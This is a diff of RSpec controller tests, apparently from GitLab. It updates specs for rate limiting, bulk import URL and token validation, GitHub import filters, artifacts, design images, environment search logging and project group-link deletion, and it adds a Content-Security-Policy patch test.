@@ -456,7 +454,7 @@ RSpec.describe Admin::ApplicationSettingsController, :do_not_mock_admin_mode_set
end
end
- describe 'GET #service_usage_data' do
+ describe 'GET #service_usage_data', feature_category: :service_ping do
before do
stub_usage_data_connections
stub_database_flavor_check
diff --git a/spec/controllers/admin/clusters_controller_spec.rb b/spec/controllers/admin/clusters_controller_spec.rb
index c432adb6ae3..86a4ac61194 100644
--- a/spec/controllers/admin/clusters_controller_spec.rb
+++ b/spec/controllers/admin/clusters_controller_spec.rb
@@ -159,8 +159,6 @@ RSpec.describe Admin::ClustersController do
describe 'functionality' do
context 'when creates a cluster' do
it 'creates a new cluster' do
- expect(ClusterProvisionWorker).to receive(:perform_async)
-
expect { post_create_user }.to change { Clusters::Cluster.count }
.and change { Clusters::Platforms::Kubernetes.count }
@@ -187,8 +185,6 @@ RSpec.describe Admin::ClustersController do
end
it 'creates a new cluster' do
- expect(ClusterProvisionWorker).to receive(:perform_async)
-
expect { post_create_user }.to change { Clusters::Cluster.count }
.and change { Clusters::Platforms::Kubernetes.count }
diff --git a/spec/controllers/concerns/check_rate_limit_spec.rb b/spec/controllers/concerns/check_rate_limit_spec.rb
index 75776acd520..25574aa295b 100644
--- a/spec/controllers/concerns/check_rate_limit_spec.rb
+++ b/spec/controllers/concerns/check_rate_limit_spec.rb
@@ -33,8 +33,8 @@ RSpec.describe CheckRateLimit do
end
describe '#check_rate_limit!' do
- it 'calls ApplicationRateLimiter#throttled? with the right arguments' do
- expect(::Gitlab::ApplicationRateLimiter).to receive(:throttled?).with(key, scope: scope).and_return(false)
+ it 'calls ApplicationRateLimiter#throttled_request? with the right arguments' do
+ expect(::Gitlab::ApplicationRateLimiter).to receive(:throttled_request?).with(request, user, key, scope: scope).and_return(false)
expect(subject).not_to receive(:render)
subject.check_rate_limit!(key, scope: scope)
diff --git a/spec/controllers/concerns/content_security_policy_patch_spec.rb b/spec/controllers/concerns/content_security_policy_patch_spec.rb
new file mode 100644
index 00000000000..6322950977c
--- /dev/null
+++ b/spec/controllers/concerns/content_security_policy_patch_spec.rb
@@ -0,0 +1,116 @@
+# frozen_string_literal: true
+
+require "spec_helper"
+
+# Based on https://github.com/rails/rails/pull/45115/files#diff-35ef6d1bd8b8d3b037ec819a704cd78db55db916a57abfc2859882826fc679b6
+RSpec.describe ContentSecurityPolicyPatch, feature_category: :not_owned do
+ include Rack::Test::Methods
+
+ let(:routes) do
+ ActionDispatch::Routing::RouteSet.new.tap do |routes|
+ routes.draw do
+ # Using Testing module defined below
+ scope module: "testing" do
+ get "/", to: "policy#index"
+ end
+ end
+ end
+ end
+
+ let(:csp) do
+ ActionDispatch::ContentSecurityPolicy.new do |p|
+ p.default_src -> { :self }
+ p.script_src -> { :https }
+ end
+ end
+
+ let(:policy_middleware) do
+ Module.new do
+ def self.new(app, policy)
+ ->(env) do
+ env["action_dispatch.content_security_policy"] = policy
+
+ app.call(env)
+ end
+ end
+ end
+ end
+
+ subject(:app) do
+ build_app(routes) do |middleware|
+ middleware.use policy_middleware, csp
+ middleware.use ActionDispatch::ContentSecurityPolicy::Middleware
+ end
+ end
+
+ def setup_controller
+ application_controller = Class.new(ActionController::Base) do # rubocop:disable Rails/ApplicationController
+ helper_method :sky_is_blue?
+ def sky_is_blue?
+ true
+ end
+ end
+
+ policy_controller = Class.new(application_controller) do
+ extend ContentSecurityPolicyPatch
+
+ content_security_policy_with_context do |p|
+ p.default_src "https://example.com"
+ p.script_src "https://example.com" if helpers.sky_is_blue?
+ end
+
+ def index
+ head :ok
+ end
+ end
+
+ stub_const("Testing::ApplicationController", application_controller)
+ stub_const("Testing::PolicyController", policy_controller)
+ end
+
+ def build_app(routes)
+ stack = ActionDispatch::MiddlewareStack.new do |middleware|
+ middleware.use ActionDispatch::DebugExceptions
+ middleware.use ActionDispatch::ActionableExceptions
+ middleware.use ActionDispatch::Callbacks
+ middleware.use ActionDispatch::Cookies
+ middleware.use ActionDispatch::Flash
+ middleware.use Rack::MethodOverride
+ middleware.use Rack::Head
+
+ yield(middleware) if block_given?
+ end
+
+ app = stack.build(routes)
+
+ ->(env) { app.call(env) }
+ end
+
+ it "calls helper method" do
+ setup_controller
+
+ response = get "/"
+
+ csp_header = response.headers["Content-Security-Policy"]
+
+ expect(csp_header).to include "default-src https://example.com"
+ expect(csp_header).to include "script-src https://example.com"
+ end
+
+ it "does not emit any warnings" do
+ expect { setup_controller }.not_to output.to_stderr
+ end
+
+ context "with Rails version 7.2" do
+ before do
+ version = Gem::Version.new("7.2.0")
+ allow(Rails).to receive(:gem_version).and_return(version)
+ end
+
+ it "emits a deprecation warning" do
+ expect { setup_controller }
+ .to output(/Use content_security_policy instead/)
+ .to_stderr
+ end
+ end
+end
diff --git a/spec/controllers/groups/clusters_controller_spec.rb b/spec/controllers/groups/clusters_controller_spec.rb
index eb3fe4bc330..46f507c34ba 100644
--- a/spec/controllers/groups/clusters_controller_spec.rb
+++ b/spec/controllers/groups/clusters_controller_spec.rb
@@ -180,8 +180,6 @@ RSpec.describe Groups::ClustersController do
describe 'functionality' do
context 'when creates a cluster' do
it 'creates a new cluster' do
- expect(ClusterProvisionWorker).to receive(:perform_async)
-
expect { go }.to change { Clusters::Cluster.count }
.and change { Clusters::Platforms::Kubernetes.count }
@@ -210,8 +208,6 @@ RSpec.describe Groups::ClustersController do
end
it 'creates a new cluster' do
- expect(ClusterProvisionWorker).to receive(:perform_async)
-
expect { go }.to change { Clusters::Cluster.count }
.and change { Clusters::Platforms::Kubernetes.count }
diff --git a/spec/controllers/groups/imports_controller_spec.rb b/spec/controllers/groups/imports_controller_spec.rb
index 7372c2e9575..24dc33b2cf1 100644
--- a/spec/controllers/groups/imports_controller_spec.rb
+++ b/spec/controllers/groups/imports_controller_spec.rb
@@ -45,7 +45,7 @@ RSpec.describe Groups::ImportsController do
it 'sets a flash error' do
get :show, params: { group_id: group }
- expect(flash[:alert]).to eq 'Failed to import group.'
+ expect(flash[:alert]).to eq 'Failed to import group: '
end
end
diff --git a/spec/controllers/import/available_namespaces_controller_spec.rb b/spec/controllers/import/available_namespaces_controller_spec.rb
deleted file mode 100644
index 26ea1d92189..00000000000
--- a/spec/controllers/import/available_namespaces_controller_spec.rb
+++ /dev/null
@@ -1,109 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Import::AvailableNamespacesController do
- let_it_be(:user) { create(:user) }
-
- before do
- sign_in(user)
- end
-
- describe "GET index" do
- context "when having group with role never allowed to create projects" do
- using RSpec::Parameterized::TableSyntax
-
- where(
- role: [:guest, :reporter],
- default_project_creation_access: [::Gitlab::Access::MAINTAINER_PROJECT_ACCESS, ::Gitlab::Access::DEVELOPER_MAINTAINER_PROJECT_ACCESS],
- group_project_creation_level: [nil, ::Gitlab::Access::MAINTAINER_PROJECT_ACCESS, ::Gitlab::Access::DEVELOPER_MAINTAINER_PROJECT_ACCESS])
-
- with_them do
- before do
- stub_application_setting(default_project_creation: default_project_creation_access)
- end
-
- it "does not include group with access level #{params[:role]} in list" do
- group = create(:group, project_creation_level: group_project_creation_level)
- group.add_member(user, role)
- get :index
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(json_response).not_to include({
- 'id' => group.id,
- 'full_path' => group.full_path
- })
- end
- end
- end
-
- context "when having group with role always allowed to create projects" do
- using RSpec::Parameterized::TableSyntax
-
- where(
- role: [:maintainer, :owner],
- default_project_creation_access: [::Gitlab::Access::MAINTAINER_PROJECT_ACCESS, ::Gitlab::Access::DEVELOPER_MAINTAINER_PROJECT_ACCESS],
- group_project_creation_level: [nil, ::Gitlab::Access::MAINTAINER_PROJECT_ACCESS, ::Gitlab::Access::DEVELOPER_MAINTAINER_PROJECT_ACCESS])
-
- with_them do
- before do
- stub_application_setting(default_project_creation: default_project_creation_access)
- end
-
- it "does not include group with access level #{params[:role]} in list" do
- group = create(:group, project_creation_level: group_project_creation_level)
- group.add_member(user, role)
- get :index
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(json_response).to include({
- 'id' => group.id,
- 'full_path' => group.full_path
- })
- end
- end
- end
-
- context "when having developer role" do
- using RSpec::Parameterized::TableSyntax
-
- where(:default_project_creation_access, :project_creation_level, :is_visible) do
- ::Gitlab::Access::MAINTAINER_PROJECT_ACCESS | nil | false
- ::Gitlab::Access::MAINTAINER_PROJECT_ACCESS | ::Gitlab::Access::DEVELOPER_MAINTAINER_PROJECT_ACCESS | true
- ::Gitlab::Access::DEVELOPER_MAINTAINER_PROJECT_ACCESS | nil | true
- ::Gitlab::Access::DEVELOPER_MAINTAINER_PROJECT_ACCESS | ::Gitlab::Access::MAINTAINER_PROJECT_ACCESS | false
- end
-
- with_them do
- before do
- stub_application_setting(default_project_creation: default_project_creation_access)
- end
-
- it "#{params[:is_visible] ? 'includes' : 'does not include'} group with access level #{params[:role]} in list" do
- group = create(:group, project_creation_level: project_creation_level)
- group.add_member(user, :developer)
-
- get :index
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(json_response).send(is_visible ? 'to' : 'not_to', include({
- 'id' => group.id,
- 'full_path' => group.full_path
- }))
- end
- end
- end
-
- context "with an anonymous user" do
- before do
- sign_out(user)
- end
-
- it "redirects to sign-in page" do
- get :index
-
- expect(response).to redirect_to(new_user_session_path)
- end
- end
- end
-end
diff --git a/spec/controllers/import/bulk_imports_controller_spec.rb b/spec/controllers/import/bulk_imports_controller_spec.rb
index a0bb39f3e98..a0d5b576e74 100644
--- a/spec/controllers/import/bulk_imports_controller_spec.rb
+++ b/spec/controllers/import/bulk_imports_controller_spec.rb
@@ -2,10 +2,12 @@
require 'spec_helper'
-RSpec.describe Import::BulkImportsController do
+RSpec.describe Import::BulkImportsController, feature_category: :importers do
let_it_be(:user) { create(:user) }
before do
+ stub_application_setting(bulk_import_enabled: true)
+
sign_in(user)
end
@@ -16,6 +18,13 @@ RSpec.describe Import::BulkImportsController do
end
describe 'POST configure' do
+ before do
+ allow_next_instance_of(BulkImports::Clients::HTTP) do |instance|
+ allow(instance).to receive(:validate_instance_version!).and_return(true)
+ allow(instance).to receive(:validate_import_scopes!).and_return(true)
+ end
+ end
+
context 'when no params are passed in' do
it 'clears out existing session' do
post :configure
@@ -28,8 +37,57 @@ RSpec.describe Import::BulkImportsController do
end
end
+ context 'when URL is invalid' do
+ it 'redirects to initial import page' do
+ token = 'token'
+ url = 'http://192.168.0.1'
+
+ post :configure, params: { bulk_import_gitlab_access_token: token, bulk_import_gitlab_url: url }
+
+ expect(response).to redirect_to new_group_path(anchor: 'import-group-pane')
+ expect(flash[:alert]).to include('Specified URL cannot be used')
+ end
+ end
+
+ context 'when token scope is invalid' do
+ before do
+ allow_next_instance_of(BulkImports::Clients::HTTP) do |instance|
+ allow(instance).to receive(:validate_instance_version!).and_return(true)
+ allow(instance).to receive(:validate_import_scopes!).and_raise(BulkImports::Error.new('Error!'))
+ end
+ end
+
+ it 'redirects to initial import page' do
+ token = 'token'
+ url = 'https://gitlab.example'
+
+ post :configure, params: { bulk_import_gitlab_access_token: token, bulk_import_gitlab_url: url }
+
+ expect(response).to redirect_to new_group_path(anchor: 'import-group-pane')
+ expect(flash[:alert]).to include('Error!')
+ end
+ end
+
+ context 'when instance version is incompatible' do
+ before do
+ allow_next_instance_of(BulkImports::Clients::HTTP) do |instance|
+ allow(instance).to receive(:validate_instance_version!).and_raise(BulkImports::Error.new('Error!'))
+ end
+ end
+
+ it 'redirects to initial import page' do
+ token = 'token'
+ url = 'https://gitlab.example'
+
+ post :configure, params: { bulk_import_gitlab_access_token: token, bulk_import_gitlab_url: url }
+
+ expect(response).to redirect_to new_group_path(anchor: 'import-group-pane')
+ expect(flash[:alert]).to include('Error!')
+ end
+ end
+
it 'sets the session variables' do
- token = 'token'
+ token = 'invalid token'
url = 'https://gitlab.example'
post :configure, params: { bulk_import_gitlab_access_token: token, bulk_import_gitlab_url: url }
@@ -100,6 +158,18 @@ RSpec.describe Import::BulkImportsController do
)
end
+ let(:source_version) do
+ Gitlab::VersionInfo.new(::BulkImport::MIN_MAJOR_VERSION,
+ ::BulkImport::MIN_MINOR_VERSION_FOR_PROJECT)
+ end
+
+ before do
+ allow_next_instance_of(BulkImports::Clients::HTTP) do |instance|
+ allow(instance).to receive(:instance_version).and_return(source_version)
+ allow(instance).to receive(:instance_enterprise).and_return(false)
+ end
+ end
+
it 'returns serialized group data' do
get_status
@@ -201,8 +271,15 @@ RSpec.describe Import::BulkImportsController do
end
context 'when connection error occurs' do
+ let(:source_version) do
+ Gitlab::VersionInfo.new(::BulkImport::MIN_MAJOR_VERSION,
+ ::BulkImport::MIN_MINOR_VERSION_FOR_PROJECT)
+ end
+
before do
allow_next_instance_of(BulkImports::Clients::HTTP) do |instance|
+ allow(instance).to receive(:instance_version).and_return(source_version)
+ allow(instance).to receive(:instance_enterprise).and_return(false)
allow(instance).to receive(:get).and_raise(BulkImports::Error)
end
end
@@ -326,9 +403,9 @@ RSpec.describe Import::BulkImportsController do
end
end
- context 'when bulk_import feature flag is disabled' do
+ context 'when feature is disabled' do
before do
- stub_feature_flags(bulk_import: false)
+ stub_application_setting(bulk_import_enabled: false)
end
context 'POST configure' do
diff --git a/spec/controllers/import/github_controller_spec.rb b/spec/controllers/import/github_controller_spec.rb
index a85af89b262..c1a61a78d80 100644
--- a/spec/controllers/import/github_controller_spec.rb
+++ b/spec/controllers/import/github_controller_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Import::GithubController do
+RSpec.describe Import::GithubController, feature_category: :import do
include ImportSpecHelper
let(:provider) { :github }
@@ -138,7 +138,7 @@ RSpec.describe Import::GithubController do
it 'calls repos list from provider with expected args' do
expect_next_instance_of(Gitlab::GithubImport::Clients::Proxy) do |client|
expect(client).to receive(:repos)
- .with(expected_filter, expected_pagination_options)
+ .with(expected_filter, expected_options)
.and_return({ repos: [], page_info: {} })
end
@@ -155,11 +155,16 @@ RSpec.describe Import::GithubController do
let(:provider_token) { 'asdasd12345' }
let(:client_auth_success) { true }
let(:client_stub) { instance_double(Gitlab::GithubImport::Client, user: { login: 'user' }) }
- let(:expected_pagination_options) { pagination_params.merge(first: 25, page: 1, per_page: 25) }
- let(:expected_filter) { nil }
let(:params) { nil }
let(:pagination_params) { { before: nil, after: nil } }
+ let(:relation_params) { { relation_type: nil, organization_login: '' } }
let(:provider_repos) { [] }
+ let(:expected_filter) { '' }
+ let(:expected_options) do
+ pagination_params.merge(relation_params).merge(
+ first: 25, page: 1, per_page: 25
+ )
+ end
before do
allow_next_instance_of(Gitlab::GithubImport::Clients::Proxy) do |proxy|
@@ -277,8 +282,34 @@ RSpec.describe Import::GithubController do
context 'when page is specified' do
let(:pagination_params) { { before: nil, after: nil, page: 2 } }
- let(:expected_pagination_options) { pagination_params.merge(first: 25, page: 2, per_page: 25) }
let(:params) { pagination_params }
+ let(:expected_options) do
+ pagination_params.merge(relation_params).merge(first: 25, page: 2, per_page: 25)
+ end
+
+ it_behaves_like 'calls repos through Clients::Proxy with expected args'
+ end
+ end
+
+ context 'when relation type params present' do
+ let(:organization_login) { 'test-login' }
+ let(:params) { pagination_params.merge(relation_type: 'organization', organization_login: organization_login) }
+ let(:pagination_defaults) { { first: 25, page: 1, per_page: 25 } }
+ let(:expected_options) do
+ pagination_defaults.merge(pagination_params).merge(
+ relation_type: 'organization', organization_login: organization_login
+ )
+ end
+
+ it_behaves_like 'calls repos through Clients::Proxy with expected args'
+
+ context 'when organization_login is too long and with ":"' do
+ let(:organization_login) { ":#{Array.new(270) { ('a'..'z').to_a.sample }.join}" }
+ let(:expected_options) do
+ pagination_defaults.merge(pagination_params).merge(
+ relation_type: 'organization', organization_login: organization_login.slice(1, 254)
+ )
+ end
it_behaves_like 'calls repos through Clients::Proxy with expected args'
end
diff --git a/spec/controllers/import/phabricator_controller_spec.rb b/spec/controllers/import/phabricator_controller_spec.rb
index 9827a6d077c..9be85a40d82 100644
--- a/spec/controllers/import/phabricator_controller_spec.rb
+++ b/spec/controllers/import/phabricator_controller_spec.rb
@@ -14,25 +14,14 @@ RSpec.describe Import::PhabricatorController do
context 'when the import source is not available' do
before do
- stub_feature_flags(phabricator_import: true)
stub_application_setting(import_sources: [])
end
it { is_expected.to have_gitlab_http_status(:not_found) }
end
- context 'when the feature is disabled' do
+ context 'when the import source is available' do
before do
- stub_feature_flags(phabricator_import: false)
- stub_application_setting(import_sources: ['phabricator'])
- end
-
- it { is_expected.to have_gitlab_http_status(:not_found) }
- end
-
- context 'when the import is available' do
- before do
- stub_feature_flags(phabricator_import: true)
stub_application_setting(import_sources: ['phabricator'])
end
diff --git a/spec/controllers/projects/artifacts_controller_spec.rb b/spec/controllers/projects/artifacts_controller_spec.rb
index 00efd7d7b56..3d12926c07a 100644
--- a/spec/controllers/projects/artifacts_controller_spec.rb
+++ b/spec/controllers/projects/artifacts_controller_spec.rb
@@ -26,14 +26,34 @@ RSpec.describe Projects::ArtifactsController do
subject { get :index, params: { namespace_id: project.namespace, project_id: project } }
context 'when feature flag is on' do
+ render_views
+
before do
stub_feature_flags(artifacts_management_page: true)
end
- it 'renders the page' do
+ it 'renders the page with data for the artifacts app' do
subject
expect(response).to have_gitlab_http_status(:ok)
+ expect(response).to render_template('projects/artifacts/index')
+
+ app = Nokogiri::HTML.parse(response.body).at_css('div#js-artifact-management')
+
+ expect(app.attributes['data-project-path'].value).to eq(project.full_path)
+ expect(app.attributes['data-can-destroy-artifacts'].value).to eq('true')
+ end
+
+ describe 'when user does not have permission to delete artifacts' do
+ let(:user) { create(:user) }
+
+ it 'passes false to the artifacts app' do
+ subject
+
+ app = Nokogiri::HTML.parse(response.body).at_css('div#js-artifact-management')
+
+ expect(app.attributes['data-can-destroy-artifacts'].value).to eq('false')
+ end
end
end
@@ -423,6 +443,16 @@ RSpec.describe Projects::ArtifactsController do
end
end
+ context 'when artifacts archive is missing' do
+ let!(:job) { create(:ci_build, :success, pipeline: pipeline) }
+
+ it 'returns 404' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+
context 'fetching an artifact of different type' do
before do
job.job_artifacts.each(&:destroy)
diff --git a/spec/controllers/projects/clusters_controller_spec.rb b/spec/controllers/projects/clusters_controller_spec.rb
index 12202518e1e..894f0f8354d 100644
--- a/spec/controllers/projects/clusters_controller_spec.rb
+++ b/spec/controllers/projects/clusters_controller_spec.rb
@@ -181,8 +181,6 @@ RSpec.describe Projects::ClustersController do
describe 'functionality' do
context 'when creates a cluster' do
it 'creates a new cluster' do
- expect(ClusterProvisionWorker).to receive(:perform_async)
-
expect { go }.to change { Clusters::Cluster.count }
.and change { Clusters::Platforms::Kubernetes.count }
@@ -210,8 +208,6 @@ RSpec.describe Projects::ClustersController do
end
it 'creates a new cluster' do
- expect(ClusterProvisionWorker).to receive(:perform_async)
-
expect { go }.to change { Clusters::Cluster.count }
.and change { Clusters::Platforms::Kubernetes.count }
diff --git a/spec/controllers/projects/deploy_keys_controller_spec.rb b/spec/controllers/projects/deploy_keys_controller_spec.rb
index fd844808d81..ec63bad22b5 100644
--- a/spec/controllers/projects/deploy_keys_controller_spec.rb
+++ b/spec/controllers/projects/deploy_keys_controller_spec.rb
@@ -102,7 +102,7 @@ RSpec.describe Projects::DeployKeysController do
it 'shows an alert with the validations errors' do
post :create, params: create_params(nil)
- expect(flash[:alert]).to eq("Title can't be blank, Deploy keys projects deploy key title can't be blank")
+ expect(flash[:alert]).to eq("Title can't be blank")
end
end
@@ -126,8 +126,7 @@ RSpec.describe Projects::DeployKeysController do
it 'shows an alert with the validations errors' do
post :create, params: create_params
- expect(flash[:alert]).to eq("Fingerprint sha256 has already been taken, " \
- "Deploy keys projects deploy key fingerprint sha256 has already been taken")
+ expect(flash[:alert]).to eq("Fingerprint sha256 has already been taken")
end
end
end
diff --git a/spec/controllers/projects/design_management/designs/resized_image_controller_spec.rb b/spec/controllers/projects/design_management/designs/resized_image_controller_spec.rb
index cc0f4a426f4..5cc6e1b1bb4 100644
--- a/spec/controllers/projects/design_management/designs/resized_image_controller_spec.rb
+++ b/spec/controllers/projects/design_management/designs/resized_image_controller_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Projects::DesignManagement::Designs::ResizedImageController do
+RSpec.describe Projects::DesignManagement::Designs::ResizedImageController, feature_category: :design_management do
include DesignManagementTestHelpers
let_it_be(:project) { create(:project, :private) }
@@ -19,7 +19,7 @@ RSpec.describe Projects::DesignManagement::Designs::ResizedImageController do
end
describe 'GET #show' do
- subject do
+ subject(:response) do
get(:show,
params: {
namespace_id: project.namespace,
@@ -27,12 +27,12 @@ RSpec.describe Projects::DesignManagement::Designs::ResizedImageController do
design_id: design_id,
sha: sha,
id: size
- })
+ }
+ )
end
before do
sign_in(viewer)
- subject
end
context 'when the user does not have permission' do
@@ -68,8 +68,6 @@ RSpec.describe Projects::DesignManagement::Designs::ResizedImageController do
let(:design_id) { 'foo' }
specify do
- subject
-
expect(response).to have_gitlab_http_status(:not_found)
end
end
@@ -136,6 +134,24 @@ RSpec.describe Projects::DesignManagement::Designs::ResizedImageController do
expect(response).to have_gitlab_http_status(:not_found)
end
end
+
+ context 'when multiple design versions have the same sha hash' do
+ let(:sha) { newest_version.sha }
+
+ before do
+ create(:design, :with_smaller_image_versions,
+ issue: create(:issue, project: project),
+ versions_count: 1,
+ versions_sha: sha)
+ end
+
+ it 'serves the newest image' do
+ action = newest_version.actions.first
+
+ expect(response.header['ETag']).to eq(etag(action))
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+ end
end
context 'when design does not have a smaller image size available' do
diff --git a/spec/controllers/projects/environments_controller_spec.rb b/spec/controllers/projects/environments_controller_spec.rb
index 2334521b8a8..dddefbac163 100644
--- a/spec/controllers/projects/environments_controller_spec.rb
+++ b/spec/controllers/projects/environments_controller_spec.rb
@@ -998,6 +998,94 @@ RSpec.describe Projects::EnvironmentsController do
end
end
+ describe '#append_info_to_payload' do
+ let(:search_param) { 'my search param' }
+
+ context 'when search_environment_logging feature is disabled' do
+ before do
+ stub_feature_flags(environments_search_logging: false)
+ end
+
+ it 'does not log search params in meta.environment.search' do
+ expect(controller).to receive(:append_info_to_payload).and_wrap_original do |method, payload|
+ method.call(payload)
+
+ expect(payload[:metadata]).not_to have_key('meta.environment.search')
+ expect(payload[:action]).to eq("search")
+ expect(payload[:controller]).to eq("Projects::EnvironmentsController")
+ end
+
+ get :search, params: environment_params(format: :json, search: search_param)
+ end
+
+ it 'logs params correctly when search params are missing' do
+ expect(controller).to receive(:append_info_to_payload).and_wrap_original do |method, payload|
+ method.call(payload)
+
+ expect(payload[:metadata]).not_to have_key('meta.environment.search')
+ expect(payload[:action]).to eq("search")
+ expect(payload[:controller]).to eq("Projects::EnvironmentsController")
+ end
+
+ get :search, params: environment_params(format: :json)
+ end
+
+ it 'logs params correctly when search params is empty string' do
+ expect(controller).to receive(:append_info_to_payload).and_wrap_original do |method, payload|
+ method.call(payload)
+
+ expect(payload[:metadata]).not_to have_key('meta.environment.search')
+ expect(payload[:action]).to eq("search")
+ expect(payload[:controller]).to eq("Projects::EnvironmentsController")
+ end
+
+ get :search, params: environment_params(format: :json, search: "")
+ end
+ end
+
+ context 'when search_environment_logging feature is enabled' do
+ before do
+ stub_feature_flags(environments_search_logging: true)
+ end
+
+ it 'logs search params in meta.environment.search' do
+ expect(controller).to receive(:append_info_to_payload).and_wrap_original do |method, payload|
+ method.call(payload)
+
+ expect(payload[:metadata]['meta.environment.search']).to eq(search_param)
+ expect(payload[:action]).to eq("search")
+ expect(payload[:controller]).to eq("Projects::EnvironmentsController")
+ end
+
+ get :search, params: environment_params(format: :json, search: search_param)
+ end
+
+ it 'logs params correctly when search params are missing' do
+ expect(controller).to receive(:append_info_to_payload).and_wrap_original do |method, payload|
+ method.call(payload)
+
+ expect(payload[:metadata]).not_to have_key('meta.environment.search')
+ expect(payload[:action]).to eq("search")
+ expect(payload[:controller]).to eq("Projects::EnvironmentsController")
+ end
+
+ get :search, params: environment_params(format: :json)
+ end
+
+ it 'logs params correctly when search params is empty string' do
+ expect(controller).to receive(:append_info_to_payload).and_wrap_original do |method, payload|
+ method.call(payload)
+
+ expect(payload[:metadata]).not_to have_key('meta.environment.search')
+ expect(payload[:action]).to eq("search")
+ expect(payload[:controller]).to eq("Projects::EnvironmentsController")
+ end
+
+ get :search, params: environment_params(format: :json, search: "")
+ end
+ end
+ end
+
def environment_params(opts = {})
opts.reverse_merge(namespace_id: project.namespace,
project_id: project,
diff --git a/spec/controllers/projects/group_links_controller_spec.rb b/spec/controllers/projects/group_links_controller_spec.rb
index 96705d82ac5..a5c00d24e30 100644
--- a/spec/controllers/projects/group_links_controller_spec.rb
+++ b/spec/controllers/projects/group_links_controller_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Projects::GroupLinksController do
+RSpec.describe Projects::GroupLinksController, feature_category: :authentication_and_authorization do
let_it_be(:group) { create(:group, :private) }
let_it_be(:group2) { create(:group, :private) }
let_it_be(:project) { create(:project, :private, group: group2) }
@@ -60,4 +60,79 @@ RSpec.describe Projects::GroupLinksController do
end
end
end
+
+ describe '#destroy' do
+ let(:group_owner) { create(:user) }
+
+ let(:link) do
+ create(:project_group_link, project: project, group: group, group_access: Gitlab::Access::DEVELOPER)
+ end
+
+ subject(:destroy_link) do
+ post(:destroy, params: { namespace_id: project.namespace.to_param,
+ project_id: project.to_param,
+ id: link.id })
+ end
+
+ shared_examples 'success response' do
+ it 'deletes the project group link' do
+ destroy_link
+
+ expect(response).to redirect_to(project_project_members_path(project))
+ expect(response).to have_gitlab_http_status(:found)
+ end
+ end
+
+ context 'when user is group owner' do
+ before do
+ link.group.add_owner(group_owner)
+ sign_in(group_owner)
+ end
+
+ context 'when user is not project maintainer' do
+ it 'deletes the project group link and redirects to group show page' do
+ destroy_link
+
+ expect(response).to redirect_to(group_path(group))
+ expect(response).to have_gitlab_http_status(:found)
+ end
+ end
+
+ context 'when user is a project maintainer' do
+ before do
+ project.add_maintainer(group_owner)
+ end
+
+ it 'deletes the project group link and redirects to group show page' do
+ destroy_link
+
+ expect(response).to redirect_to(group_path(group))
+ expect(response).to have_gitlab_http_status(:found)
+ end
+ end
+ end
+
+ context 'when user is not a group owner' do
+ context 'when user is a project maintainer' do
+ before do
+ sign_in(user)
+ end
+
+ it_behaves_like 'success response'
+ end
+
+ context 'when user is not a project maintainer' do
+ before do
+ project.add_developer(user)
+ sign_in(user)
+ end
+
+ it 'renders 404' do
+ destroy_link
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+ end
+ end
end
diff --git a/spec/controllers/projects/merge_requests/creations_controller_spec.rb b/spec/controllers/projects/merge_requests/creations_controller_spec.rb
index ace8c04b819..7db708e0e78 100644
--- a/spec/controllers/projects/merge_requests/creations_controller_spec.rb
+++ b/spec/controllers/projects/merge_requests/creations_controller_spec.rb
@@ -307,7 +307,7 @@ RSpec.describe Projects::MergeRequests::CreationsController do
end
end
- describe 'GET target_projects', feature_category: :code_review do
+ describe 'GET target_projects', feature_category: :code_review_workflow do
it 'returns target projects JSON' do
get :target_projects, params: { namespace_id: project.namespace.to_param, project_id: project }
diff --git a/spec/controllers/projects/merge_requests/diffs_controller_spec.rb b/spec/controllers/projects/merge_requests/diffs_controller_spec.rb
index 613d82efd06..4de724fd6d6 100644
--- a/spec/controllers/projects/merge_requests/diffs_controller_spec.rb
+++ b/spec/controllers/projects/merge_requests/diffs_controller_spec.rb
@@ -213,7 +213,6 @@ RSpec.describe Projects::MergeRequests::DiffsController do
commit: nil,
latest_diff: true,
only_context_commits: false,
- merge_conflicts_in_diff: true,
merge_ref_head_diff: false
}
end
@@ -281,7 +280,6 @@ RSpec.describe Projects::MergeRequests::DiffsController do
commit: nil,
latest_diff: true,
only_context_commits: false,
- merge_conflicts_in_diff: true,
merge_ref_head_diff: nil
}
end
@@ -303,33 +301,6 @@ RSpec.describe Projects::MergeRequests::DiffsController do
commit: merge_request.diff_head_commit,
latest_diff: nil,
only_context_commits: false,
- merge_conflicts_in_diff: true,
- merge_ref_head_diff: nil
- }
- end
- end
- end
-
- context 'when display_merge_conflicts_in_diff is disabled' do
- subject { go }
-
- before do
- stub_feature_flags(display_merge_conflicts_in_diff: false)
- end
-
- it_behaves_like 'serializes diffs metadata with expected arguments' do
- let(:collection) { Gitlab::Diff::FileCollection::MergeRequestDiff }
- let(:expected_options) do
- {
- merge_request: merge_request,
- merge_request_diff: merge_request.merge_request_diff,
- merge_request_diffs: merge_request.merge_request_diffs,
- start_version: nil,
- start_sha: nil,
- commit: nil,
- latest_diff: true,
- only_context_commits: false,
- merge_conflicts_in_diff: false,
merge_ref_head_diff: nil
}
end
@@ -430,6 +401,16 @@ RSpec.describe Projects::MergeRequests::DiffsController do
expect(response).to have_gitlab_http_status(:ok)
end
+ it 'measures certain parts of the request' do
+ allow(Gitlab::Metrics).to receive(:measure).and_call_original
+ expect(Gitlab::Metrics).to receive(:measure).with(:diffs_unfoldable_positions).and_call_original
+ expect(Gitlab::Metrics).to receive(:measure).with(:diffs_unfold).and_call_original
+ expect(Gitlab::Metrics).to receive(:measure).with(:diffs_write_cache).and_call_original
+ expect(Gitlab::Metrics).to receive(:measure).with(:diffs_render).and_call_original
+
+ subject
+ end
+
it 'tracks mr_diffs event' do
expect(Gitlab::UsageDataCounters::MergeRequestActivityUniqueCounter)
.to receive(:track_mr_diffs_action)
@@ -488,7 +469,6 @@ RSpec.describe Projects::MergeRequests::DiffsController do
commit: nil,
diff_view: :inline,
merge_ref_head_diff: nil,
- merge_conflicts_in_diff: true,
pagination_data: {
total_pages: nil
}.merge(pagination_data)
